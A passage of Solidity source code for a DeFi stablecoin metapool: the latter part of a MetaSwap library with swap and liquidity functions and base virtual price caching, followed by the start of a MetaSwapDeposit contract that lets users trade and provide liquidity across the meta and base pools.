v.baseSwap.calculateSwap( tokenIndexFrom, tokenIndexTo - v.baseLPTokenIndex, dx ); } tokenIndexFrom = v.baseLPTokenIndex; } v.metaIndexTo = v.baseLPTokenIndex; if (tokenIndexTo < v.baseLPTokenIndex) { v.metaIndexTo = tokenIndexTo; } { uint256 y = SwapUtils.getY( self._getAPrecise(), tokenIndexFrom, v.metaIndexTo, v.x, xp ); v.dy = xp[v.metaIndexTo].sub(y).sub(1); uint256 dyFee = v.dy.mul(self.swapFee).div(FEE_DENOMINATOR); v.dy = v.dy.sub(dyFee); } if (tokenIndexTo < v.baseLPTokenIndex) { // tokenTo is from this pool v.dy = v.dy.div(self.tokenPrecisionMultipliers[v.metaIndexTo]); } else { // tokenTo is from the base pool v.dy = v.baseSwap.calculateRemoveLiquidityOneToken( v.dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div(v.baseVirtualPrice), tokenIndexTo - v.baseLPTokenIndex ); } return v.dy; } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param self Swap struct to read from * @param metaSwapStorage MetaSwap struct to read from * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return if deposit was true, total amount of lp token that will be minted and if * deposit was false, total amount of lp token that will be burned */ function calculateTokenAmount( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256[] calldata amounts, bool deposit ) external view returns (uint256) { uint256 a = self._getAPrecise(); uint256 d0; uint256 d1; { uint256 baseVirtualPrice = _getBaseVirtualPrice(metaSwapStorage); uint256[] memory balances1 = self.balances; uint256[] memory tokenPrecisionMultipliers = self .tokenPrecisionMultipliers; uint256 numTokens = balances1.length; d0 = SwapUtils.getD( _xp(balances1, tokenPrecisionMultipliers, baseVirtualPrice), a ); for (uint256 i = 0; i < numTokens; i++) { if (deposit) { balances1[i] = balances1[i].add(amounts[i]); } else { balances1[i] = balances1[i].sub( amounts[i], "Cannot withdraw more than available" ); } } d1 = SwapUtils.getD( _xp(balances1, tokenPrecisionMultipliers, baseVirtualPrice), a ); } uint256 totalSupply = self.lpToken.totalSupply(); if (deposit) { return d1.sub(d0).mul(totalSupply).div(d0); } else { return d0.sub(d1).mul(totalSupply).div(d0); } } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice swap two tokens in the pool * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swap( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { { uint256 pooledTokensLength = self.pooledTokens.length; require( tokenIndexFrom < pooledTokensLength && tokenIndexTo < pooledTokensLength, "Token index is out of range" ); } uint256 transferredDx; { IERC20 tokenFrom = self.pooledTokens[tokenIndexFrom]; require( dx <= tokenFrom.balanceOf(msg.sender), "Cannot swap more than you own" ); { // Transfer tokens first to see if a fee was charged on transfer uint256 beforeBalance = tokenFrom.balanceOf(address(this)); tokenFrom.safeTransferFrom(msg.sender, address(this), dx); // Use the actual transferred amount for AMM math transferredDx = tokenFrom.balanceOf(address(this)).sub( beforeBalance ); } } (uint256 dy, uint256 dyFee) = _calculateSwap( self, tokenIndexFrom, tokenIndexTo, transferredDx, _updateBaseVirtualPrice(metaSwapStorage) ); require(dy >= minDy, "Swap didn't result in min tokens"); uint256 dyAdminFee = dyFee.mul(self.adminFee).div(FEE_DENOMINATOR).div( self.tokenPrecisionMultipliers[tokenIndexTo] ); self.balances[tokenIndexFrom] = self.balances[tokenIndexFrom].add( transferredDx ); self.balances[tokenIndexTo] = self.balances[tokenIndexTo].sub(dy).sub( dyAdminFee ); self.pooledTokens[tokenIndexTo].safeTransfer(msg.sender, dy); emit TokenSwap( msg.sender, transferredDx, dy, tokenIndexFrom, tokenIndexTo ); return dy; } /** * @notice Swaps with the underlying tokens of the base Swap pool. For this function, * the token indices are flattened out so that underlying tokens are represented * in the indices. * @dev Since this calls multiple external functions during the execution, * it is recommended to protect any function that depends on this with reentrancy guards. * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell * @param minDy the min amount the user would like to receive, or revert. * @return amount of token user received on swap */ function swapUnderlying( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { SwapUnderlyingInfo memory v = SwapUnderlyingInfo( 0, 0, 0, self.tokenPrecisionMultipliers, self.balances, metaSwapStorage.baseTokens, IERC20(address(0)), 0, IERC20(address(0)), 0, _updateBaseVirtualPrice(metaSwapStorage) ); uint8 baseLPTokenIndex = uint8(v.oldBalances.length.sub(1)); { uint8 maxRange = uint8(baseLPTokenIndex + v.baseTokens.length); require( tokenIndexFrom < maxRange && tokenIndexTo < maxRange, "Token index out of range" ); } ISwap baseSwap = metaSwapStorage.baseSwap; // Find the address of the token swapping from and the index in MetaSwap's token list if (tokenIndexFrom < baseLPTokenIndex) { v.tokenFrom = self.pooledTokens[tokenIndexFrom]; v.metaIndexFrom = tokenIndexFrom; } else { v.tokenFrom = v.baseTokens[tokenIndexFrom - baseLPTokenIndex]; v.metaIndexFrom = baseLPTokenIndex; } // Find the address of the token swapping to and the index in MetaSwap's token list if (tokenIndexTo < baseLPTokenIndex) { v.tokenTo = self.pooledTokens[tokenIndexTo]; v.metaIndexTo = tokenIndexTo; } else { v.tokenTo = v.baseTokens[tokenIndexTo - baseLPTokenIndex]; v.metaIndexTo = baseLPTokenIndex; } // Check for possible fee on transfer v.dx = v.tokenFrom.balanceOf(address(this)); v.tokenFrom.safeTransferFrom(msg.sender, address(this), dx); v.dx = v.tokenFrom.balanceOf(address(this)).sub(v.dx); // update dx in case of fee on transfer if ( tokenIndexFrom < baseLPTokenIndex || tokenIndexTo < baseLPTokenIndex ) { // Either one of the tokens belongs to the MetaSwap tokens list uint256[] memory xp = _xp( v.oldBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ); if (tokenIndexFrom < baseLPTokenIndex) { // Swapping from a MetaSwap token v.x = xp[tokenIndexFrom].add( dx.mul(v.tokenPrecisionMultipliers[tokenIndexFrom]) ); } else { // Swapping from one of the tokens hosted in the base Swap // This case requires adding the underlying token to the base Swap, then // using the base LP token to swap to the desired token uint256[] memory baseAmounts = new uint256[]( v.baseTokens.length ); baseAmounts[tokenIndexFrom - baseLPTokenIndex] = v.dx; // Add liquidity to the base Swap contract and receive base LP token v.dx = baseSwap.addLiquidity(baseAmounts, 0, block.timestamp); // Calculate the value of total amount of baseLPToken we end up with v.x = v .dx .mul(v.baseVirtualPrice) .div(BASE_VIRTUAL_PRICE_PRECISION) .add(xp[baseLPTokenIndex]); } // Calculate how much to withdraw in MetaSwap level and the the associated swap fee uint256 dyFee; { uint256 y = SwapUtils.getY( self._getAPrecise(), v.metaIndexFrom, v.metaIndexTo, v.x, xp ); v.dy = xp[v.metaIndexTo].sub(y).sub(1); if (tokenIndexTo >= baseLPTokenIndex) { // When swapping to a base Swap token, scale down dy by its virtual price v.dy = v.dy.mul(BASE_VIRTUAL_PRICE_PRECISION).div( v.baseVirtualPrice ); } dyFee = v.dy.mul(self.swapFee).div(FEE_DENOMINATOR); v.dy = v.dy.sub(dyFee).div( v.tokenPrecisionMultipliers[v.metaIndexTo] ); } // Update the balances array according to the calculated input and output amount { uint256 dyAdminFee = dyFee.mul(self.adminFee).div( FEE_DENOMINATOR ); dyAdminFee = dyAdminFee.div( v.tokenPrecisionMultipliers[v.metaIndexTo] ); self.balances[v.metaIndexFrom] = v .oldBalances[v.metaIndexFrom] .add(v.dx); self.balances[v.metaIndexTo] = v .oldBalances[v.metaIndexTo] .sub(v.dy) .sub(dyAdminFee); } if (tokenIndexTo >= baseLPTokenIndex) { // When swapping to a token that belongs to the base Swap, burn the LP token // and withdraw the desired token from the base pool uint256 oldBalance = v.tokenTo.balanceOf(address(this)); baseSwap.removeLiquidityOneToken( v.dy, tokenIndexTo - baseLPTokenIndex, 0, block.timestamp ); v.dy = v.tokenTo.balanceOf(address(this)) - oldBalance; } // Check the amount of token to send meets minDy require(v.dy >= minDy, "Swap didn't result in min tokens"); } else { // Both tokens are from the base Swap pool // Do a swap through the base Swap v.dy = v.tokenTo.balanceOf(address(this)); baseSwap.swap( tokenIndexFrom - baseLPTokenIndex, tokenIndexTo - baseLPTokenIndex, v.dx, minDy, block.timestamp ); v.dy = v.tokenTo.balanceOf(address(this)).sub(v.dy); } // Send the desired token to the caller v.tokenTo.safeTransfer(msg.sender, v.dy); emit TokenSwapUnderlying( msg.sender, dx, v.dy, tokenIndexFrom, tokenIndexTo ); return v.dy; } /** * @notice Add liquidity to the pool * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * allowed addresses. If the pool is not in the guarded launch phase, this parameter will be ignored. * @return amount of LP token user received */ function addLiquidity( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256[] memory amounts, uint256 minToMint ) external returns (uint256) { IERC20[] memory pooledTokens = self.pooledTokens; require( amounts.length == pooledTokens.length, "Amounts must match pooled tokens" ); uint256[] memory fees = new uint256[](pooledTokens.length); // current state ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, self.lpToken, 0, self._getAPrecise(), _updateBaseVirtualPrice(metaSwapStorage), self.tokenPrecisionMultipliers, self.balances ); v.totalSupply = v.lpToken.totalSupply(); if (v.totalSupply != 0) { v.d0 = SwapUtils.getD( _xp( v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ), v.preciseA ); } for (uint256 i = 0; i < pooledTokens.length; i++) { require( v.totalSupply != 0 || amounts[i] > 0, "Must supply all tokens in pool" ); // Transfer tokens first to see if a fee was charged on transfer if (amounts[i] != 0) { uint256 beforeBalance = pooledTokens[i].balanceOf( address(this) ); pooledTokens[i].safeTransferFrom( msg.sender, address(this), amounts[i] ); // Update the amounts[] with actual transfer amount amounts[i] = pooledTokens[i].balanceOf(address(this)).sub( beforeBalance ); } v.newBalances[i] = v.newBalances[i].add(amounts[i]); } // invariant after change v.d1 = SwapUtils.getD( _xp(v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice), v.preciseA ); require(v.d1 > v.d0, "D should increase"); // updated to reflect fees and calculate the user's LP tokens v.d2 = v.d1; uint256 toMint; if (v.totalSupply != 0) { uint256 feePerToken = SwapUtils._feePerToken( self.swapFee, pooledTokens.length ); for (uint256 i = 0; i < pooledTokens.length; i++) { uint256 idealBalance = v.d1.mul(self.balances[i]).div(v.d0); fees[i] = feePerToken .mul(idealBalance.difference(v.newBalances[i])) .div(FEE_DENOMINATOR); self.balances[i] = v.newBalances[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); v.newBalances[i] = v.newBalances[i].sub(fees[i]); } v.d2 = SwapUtils.getD( _xp( v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ), v.preciseA ); toMint = v.d2.sub(v.d0).mul(v.totalSupply).div(v.d0); } else { // the initial depositor doesn't pay fees self.balances = v.newBalances; toMint = v.d1; } require(toMint >= minToMint, "Couldn't mint min requested"); // mint the user's LP tokens self.lpToken.mint(msg.sender, toMint); emit AddLiquidity( msg.sender, amounts, fees, v.d1, v.totalSupply.add(toMint) ); return toMint; } /** * @notice Remove liquidity from the pool all in one token. * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param tokenAmount the amount of the lp tokens to burn * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @return amount chosen token that user received */ function removeLiquidityOneToken( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) external returns (uint256) { LPToken lpToken = self.lpToken; uint256 totalSupply = lpToken.totalSupply(); uint256 numTokens = self.pooledTokens.length; require(tokenAmount <= lpToken.balanceOf(msg.sender), ">LP.balanceOf"); require(tokenIndex < numTokens, "Token not found"); uint256 dyFee; uint256 dy; (dy, dyFee) = _calculateWithdrawOneToken( self, tokenAmount, tokenIndex, _updateBaseVirtualPrice(metaSwapStorage), totalSupply ); require(dy >= minAmount, "dy < minAmount"); // Update balances array self.balances[tokenIndex] = self.balances[tokenIndex].sub( dy.add(dyFee.mul(self.adminFee).div(FEE_DENOMINATOR)) ); // Burn the associated LP token from the caller and send the desired token lpToken.burnFrom(msg.sender, tokenAmount); self.pooledTokens[tokenIndex].safeTransfer(msg.sender, dy); emit RemoveLiquidityOne( msg.sender, tokenAmount, totalSupply, tokenIndex, dy ); return dy; } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. * * @param self Swap struct to read from and write to * @param metaSwapStorage MetaSwap struct to read from and write to * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @return actual amount of LP tokens burned in the withdrawal */ function removeLiquidityImbalance( SwapUtils.Swap storage self, MetaSwap storage metaSwapStorage, uint256[] memory amounts, uint256 maxBurnAmount ) public returns (uint256) { // Using this struct to avoid stack too deep error ManageLiquidityInfo memory v = ManageLiquidityInfo( 0, 0, 0, self.lpToken, 0, self._getAPrecise(), _updateBaseVirtualPrice(metaSwapStorage), self.tokenPrecisionMultipliers, self.balances ); v.totalSupply = v.lpToken.totalSupply(); require( amounts.length == v.newBalances.length, "Amounts should match pool tokens" ); require(maxBurnAmount != 0, "Must burn more than 0"); uint256 feePerToken = SwapUtils._feePerToken( self.swapFee, v.newBalances.length ); // Calculate how much LPToken should be burned uint256[] memory fees = new uint256[](v.newBalances.length); { uint256[] memory balances1 = new uint256[](v.newBalances.length); v.d0 = SwapUtils.getD( _xp( v.newBalances, v.tokenPrecisionMultipliers, v.baseVirtualPrice ), v.preciseA ); for (uint256 i = 0; i < v.newBalances.length; i++) { balances1[i] = v.newBalances[i].sub( amounts[i], "Cannot withdraw more than available" ); } v.d1 = SwapUtils.getD( _xp(balances1, v.tokenPrecisionMultipliers, v.baseVirtualPrice), v.preciseA ); for (uint256 i = 0; i < v.newBalances.length; i++) { uint256 idealBalance = v.d1.mul(v.newBalances[i]).div(v.d0); uint256 difference = idealBalance.difference(balances1[i]); fees[i] = feePerToken.mul(difference).div(FEE_DENOMINATOR); self.balances[i] = balances1[i].sub( fees[i].mul(self.adminFee).div(FEE_DENOMINATOR) ); balances1[i] = balances1[i].sub(fees[i]); } v.d2 = SwapUtils.getD( _xp(balances1, v.tokenPrecisionMultipliers, v.baseVirtualPrice), v.preciseA ); } uint256 tokenAmount = v.d0.sub(v.d2).mul(v.totalSupply).div(v.d0); require(tokenAmount != 0, "Burnt amount cannot be zero"); // Scale up by withdraw fee tokenAmount = tokenAmount.add(1); // Check for max burn amount require(tokenAmount <= maxBurnAmount, "tokenAmount > maxBurnAmount"); // Burn the calculated amount of LPToken from the caller and send the desired tokens v.lpToken.burnFrom(msg.sender, tokenAmount); for (uint256 i = 0; i < v.newBalances.length; i++) { self.pooledTokens[i].safeTransfer(msg.sender, amounts[i]); } emit RemoveLiquidityImbalance( msg.sender, amounts, fees, v.d1, v.totalSupply.sub(tokenAmount) ); return tokenAmount; } /** * @notice Determines if the stored value of base Swap's virtual price is expired. * If the last update was past the BASE_CACHE_EXPIRE_TIME, then update the stored value. * * @param metaSwapStorage MetaSwap struct to read from and write to * @return base Swap's virtual price */ function _updateBaseVirtualPrice(MetaSwap storage metaSwapStorage) internal returns (uint256) { if ( block.timestamp > metaSwapStorage.baseCacheLastUpdated + BASE_CACHE_EXPIRE_TIME ) { // When the cache is expired, update it uint256 baseVirtualPrice = ISwap(metaSwapStorage.baseSwap) .getVirtualPrice(); metaSwapStorage.baseVirtualPrice = baseVirtualPrice; metaSwapStorage.baseCacheLastUpdated = block.timestamp; return baseVirtualPrice; } else { return metaSwapStorage.baseVirtualPrice; } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol"; import "../LPToken.sol"; import "../interfaces/ISwap.sol"; import "../interfaces/IMetaSwap.sol"; /** * @title MetaSwapDeposit * @notice This contract flattens the LP token in a MetaSwap pool for easier user access. MetaSwap must be * deployed before this contract can be initialized successfully. * * For example, suppose there exists a base Swap pool consisting of [DAI, USDC, USDT]. * Then a MetaSwap pool can be created with [sUSD, BaseSwapLPToken] to allow trades between either * the LP token or the underlying tokens and sUSD. * * MetaSwapDeposit flattens the LP token and remaps them to a single array, allowing users * to ignore the dependency on BaseSwapLPToken. Using the above example, MetaSwapDeposit can act * as a Swap containing [sUSD, DAI, USDC, USDT] tokens. */ contract MetaSwapDeposit is Initializable, ReentrancyGuardUpgradeable { using SafeERC20 for IERC20; using SafeMath for uint256; ISwap public baseSwap; IMetaSwap public metaSwap; IERC20[] public baseTokens; IERC20[] public metaTokens; IERC20[] public tokens; IERC20 public metaLPToken; uint256 constant MAX_UINT256 = 2**256 - 1; struct RemoveLiquidityImbalanceInfo { ISwap baseSwap; IMetaSwap metaSwap; IERC20 metaLPToken; uint8 baseLPTokenIndex; bool withdrawFromBase; uint256 leftoverMetaLPTokenAmount; } /** * @notice Sets the address for the base Swap contract, MetaSwap contract, and the * MetaSwap LP token contract. * @param _baseSwap the address of the base Swap contract * @param _metaSwap the address of the MetaSwap contract * @param _metaLPToken the address of the MetaSwap LP token contract */ function initialize( ISwap _baseSwap, IMetaSwap _metaSwap, IERC20 _metaLPToken ) external initializer { __ReentrancyGuard_init(); // Check and approve base level tokens to be deposited to the base Swap contract { uint8 i; for (; i < 32; i++) { try _baseSwap.getToken(i) returns (IERC20 token) { baseTokens.push(token); token.safeApprove(address(_baseSwap), MAX_UINT256); token.safeApprove(address(_metaSwap), MAX_UINT256); } catch { break; } } require(i > 1, "baseSwap must have at least 2 tokens"); } // Check and approve meta level tokens to be deposited to the MetaSwap contract IERC20 baseLPToken; { uint8 i; for (; i < 32; i++) { try _metaSwap.getToken(i) returns (IERC20 token) { baseLPToken = token; metaTokens.push(token); tokens.push(token); token.safeApprove(address(_metaSwap), MAX_UINT256); } catch { break; } } require(i > 1, "metaSwap must have at least 2 tokens"); } // Flatten baseTokens and append it to tokens array tokens[tokens.length - 1] = baseTokens[0]; for (uint8 i = 1; i < baseTokens.length; i++) { tokens.push(baseTokens[i]); } // Approve base Swap LP token to be burned by the base Swap contract for withdrawing baseLPToken.safeApprove(address(_baseSwap), MAX_UINT256); // Approve MetaSwap LP token to be burned by the MetaSwap contract for withdrawing _metaLPToken.safeApprove(address(_metaSwap), MAX_UINT256); // Initialize storage variables baseSwap = _baseSwap; metaSwap = _metaSwap; metaLPToken = _metaLPToken; } // Mutative functions /** * @notice Swap two underlying tokens using the meta pool and the base pool * @param tokenIndexFrom the token the user wants to swap from * @param tokenIndexTo the token the user wants to swap to * @param dx the amount of tokens the user wants to swap from * @param minDy the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction */ function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external nonReentrant returns (uint256) { tokens[tokenIndexFrom].safeTransferFrom(msg.sender, address(this), dx); uint256 tokenToAmount = metaSwap.swapUnderlying( tokenIndexFrom, tokenIndexTo, dx, minDy, deadline ); tokens[tokenIndexTo].safeTransfer(msg.sender, tokenToAmount); return tokenToAmount; } /** * @notice Add liquidity to the pool with the given amounts of tokens * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amount of LP token user minted and received */ function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external nonReentrant returns (uint256) { // Read to memory to save on gas IERC20[] memory memBaseTokens = baseTokens; IERC20[] memory memMetaTokens = metaTokens; uint256 baseLPTokenIndex = memMetaTokens.length - 1; require(amounts.length == memBaseTokens.length + baseLPTokenIndex); uint256 baseLPTokenAmount; { // Transfer base tokens from the caller and deposit to the base Swap pool uint256[] memory baseAmounts = new uint256[](memBaseTokens.length); bool shouldDepositBaseTokens; for (uint8 i = 0; i < memBaseTokens.length; i++) { IERC20 token = memBaseTokens[i]; uint256 depositAmount = amounts[baseLPTokenIndex + i]; if (depositAmount > 0) { token.safeTransferFrom( msg.sender, address(this), depositAmount ); baseAmounts[i] = token.balanceOf(address(this)); // account for any fees on transfer // if there are any base Swap level tokens, flag it for deposits shouldDepositBaseTokens = true; } } if (shouldDepositBaseTokens) { // Deposit any base Swap level tokens and receive baseLPToken baseLPTokenAmount = baseSwap.addLiquidity( baseAmounts, 0, deadline ); } } uint256 metaLPTokenAmount; { // Transfer remaining meta level tokens from the caller uint256[] memory metaAmounts = new uint256[](metaTokens.length); for (uint8 i = 0; i < baseLPTokenIndex; i++) { IERC20 token = memMetaTokens[i]; uint256 depositAmount = amounts[i]; if (depositAmount > 0) { token.safeTransferFrom( msg.sender, address(this), depositAmount ); metaAmounts[i] = token.balanceOf(address(this)); // account for any fees on transfer } } // Update the baseLPToken amount that will be deposited metaAmounts[baseLPTokenIndex] = baseLPTokenAmount; // Deposit the meta level tokens and the baseLPToken metaLPTokenAmount = metaSwap.addLiquidity( metaAmounts, minToMint, deadline ); } // Transfer the meta lp token to the caller metaLPToken.safeTransfer(msg.sender, metaLPTokenAmount); return metaLPTokenAmount; } /** * @notice Burn LP tokens to remove liquidity from the pool. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @dev Liquidity can always be removed, even when the pool is paused. * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amounts of tokens user received */ function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external nonReentrant returns (uint256[] memory) { IERC20[] memory memBaseTokens = baseTokens; IERC20[] memory memMetaTokens = metaTokens; uint256[] memory totalRemovedAmounts; { uint256 numOfAllTokens = memBaseTokens.length + memMetaTokens.length - 1; require(minAmounts.length == numOfAllTokens, "out of range"); totalRemovedAmounts = new uint256[](numOfAllTokens); } // Transfer meta lp token from the caller to this metaLPToken.safeTransferFrom(msg.sender, address(this), amount); uint256 baseLPTokenAmount; { // Remove liquidity from the MetaSwap pool uint256[] memory removedAmounts; uint256 baseLPTokenIndex = memMetaTokens.length - 1; { uint256[] memory metaMinAmounts = new uint256[]( memMetaTokens.length ); for (uint8 i = 0; i < baseLPTokenIndex; i++) { metaMinAmounts[i] = minAmounts[i]; } removedAmounts = metaSwap.removeLiquidity( amount, metaMinAmounts, deadline ); } // Send the meta level tokens to the caller for (uint8 i = 0; i < baseLPTokenIndex; i++) { totalRemovedAmounts[i] = removedAmounts[i]; memMetaTokens[i].safeTransfer(msg.sender, removedAmounts[i]); } baseLPTokenAmount = removedAmounts[baseLPTokenIndex]; // Remove liquidity from the base Swap pool { uint256[] memory baseMinAmounts = new uint256[]( memBaseTokens.length ); for (uint8 i = 0; i < baseLPTokenIndex; i++) { baseMinAmounts[i] = minAmounts[baseLPTokenIndex + i]; } removedAmounts = baseSwap.removeLiquidity( baseLPTokenAmount, baseMinAmounts, deadline ); } // Send the base level tokens to the caller for (uint8 i = 0; i < memBaseTokens.length; i++) { totalRemovedAmounts[baseLPTokenIndex + i] = removedAmounts[i]; memBaseTokens[i].safeTransfer(msg.sender, removedAmounts[i]); } } return totalRemovedAmounts; } /** * @notice Remove liquidity from the pool all in one token. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param tokenAmount the amount of the token you want to receive * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @param deadline latest timestamp to accept this transaction * @return amount of chosen token user received */ function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external nonReentrant returns (uint256) { uint8 baseLPTokenIndex = uint8(metaTokens.length - 1); uint8 baseTokensLength = uint8(baseTokens.length); // Transfer metaLPToken from the caller metaLPToken.safeTransferFrom(msg.sender, address(this), tokenAmount); IERC20 token; if (tokenIndex < baseLPTokenIndex) { // When the desired token is meta level token, we can just call `removeLiquidityOneToken` directly metaSwap.removeLiquidityOneToken( tokenAmount, tokenIndex, minAmount, deadline ); token = metaTokens[tokenIndex]; } else if (tokenIndex < baseLPTokenIndex + baseTokensLength) { // When the desired token is a base level token, we need to first withdraw via baseLPToken, then withdraw // the desired token from the base Swap contract. uint256 removedBaseLPTokenAmount = metaSwap.removeLiquidityOneToken( tokenAmount, baseLPTokenIndex, 0, deadline ); baseSwap.removeLiquidityOneToken( removedBaseLPTokenAmount, tokenIndex - baseLPTokenIndex, minAmount, deadline ); token = baseTokens[tokenIndex - baseLPTokenIndex]; } else { revert("out of range"); } uint256 amountWithdrawn = token.balanceOf(address(this)); token.safeTransfer(msg.sender, amountWithdrawn); return amountWithdrawn; } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @param deadline latest timestamp to accept this transaction * @return amount of LP tokens burned */ function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external nonReentrant returns (uint256) { IERC20[] memory memBaseTokens = baseTokens; IERC20[] memory memMetaTokens = metaTokens; uint256[] memory metaAmounts = new uint256[](memMetaTokens.length); uint256[] memory baseAmounts = new uint256[](memBaseTokens.length); require( amounts.length == memBaseTokens.length + memMetaTokens.length - 1, "out of range" ); RemoveLiquidityImbalanceInfo memory v = RemoveLiquidityImbalanceInfo( baseSwap, metaSwap, metaLPToken, uint8(metaAmounts.length - 1), false, 0 ); for (uint8 i = 0; i < v.baseLPTokenIndex; i++) { metaAmounts[i] = amounts[i]; } for (uint8 i = 0; i < baseAmounts.length; i++) { baseAmounts[i] = amounts[v.baseLPTokenIndex + i]; if (baseAmounts[i] > 0) { v.withdrawFromBase = true; } } // Calculate how much base LP token we need to get the desired amount of underlying tokens if (v.withdrawFromBase) { metaAmounts[v.baseLPTokenIndex] = v .baseSwap .calculateTokenAmount(baseAmounts, false) .mul(10005) .div(10000); } // Transfer MetaSwap LP token from the caller to this contract v.metaLPToken.safeTransferFrom( msg.sender, address(this), maxBurnAmount ); // Withdraw the paired meta level tokens and the base LP token from the MetaSwap pool uint256 burnedMetaLPTokenAmount = v.metaSwap.removeLiquidityImbalance( metaAmounts, maxBurnAmount, deadline ); v.leftoverMetaLPTokenAmount = maxBurnAmount.sub( burnedMetaLPTokenAmount ); // If underlying tokens are desired, withdraw them from the base Swap pool if (v.withdrawFromBase) { v.baseSwap.removeLiquidityImbalance( baseAmounts, metaAmounts[v.baseLPTokenIndex], deadline ); // Base Swap may require LESS base LP token than the amount we have // In that case, deposit it to the MetaSwap pool. uint256[] memory leftovers = new uint256[](metaAmounts.length); IERC20 baseLPToken = memMetaTokens[v.baseLPTokenIndex]; uint256 leftoverBaseLPTokenAmount = baseLPToken.balanceOf( address(this) ); if (leftoverBaseLPTokenAmount > 0) { leftovers[v.baseLPTokenIndex] = leftoverBaseLPTokenAmount; v.leftoverMetaLPTokenAmount = v.leftoverMetaLPTokenAmount.add( v.metaSwap.addLiquidity(leftovers, 0, deadline) ); } } // Transfer all withdrawn tokens to the caller for (uint8 i = 0; i < amounts.length; i++) { IERC20 token; if (i < v.baseLPTokenIndex) { token = memMetaTokens[i]; } else { token = memBaseTokens[i - v.baseLPTokenIndex]; } if (amounts[i] > 0) { token.safeTransfer(msg.sender, amounts[i]); } } // If there were any extra meta lp token, transfer them back to the caller as well if (v.leftoverMetaLPTokenAmount > 0) { v.metaLPToken.safeTransfer(msg.sender, v.leftoverMetaLPTokenAmount); } return maxBurnAmount - v.leftoverMetaLPTokenAmount; } // VIEW FUNCTIONS /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running. When withdrawing from the base pool in imbalanced * fashion, the recommended slippage setting is 0.2% or higher. * * @dev This shouldn't be used outside frontends for user estimates. * * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return token amount the user will receive */ function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256) { uint256[] memory metaAmounts = new uint256[](metaTokens.length); uint256[] memory baseAmounts = new uint256[](baseTokens.length); uint256 baseLPTokenIndex = metaAmounts.length - 1; for (uint8 i = 0; i < baseLPTokenIndex; i++) { metaAmounts[i] = amounts[i]; } for (uint8 i = 0; i < baseAmounts.length; i++) { baseAmounts[i] = amounts[baseLPTokenIndex + i]; } uint256 baseLPTokenAmount = 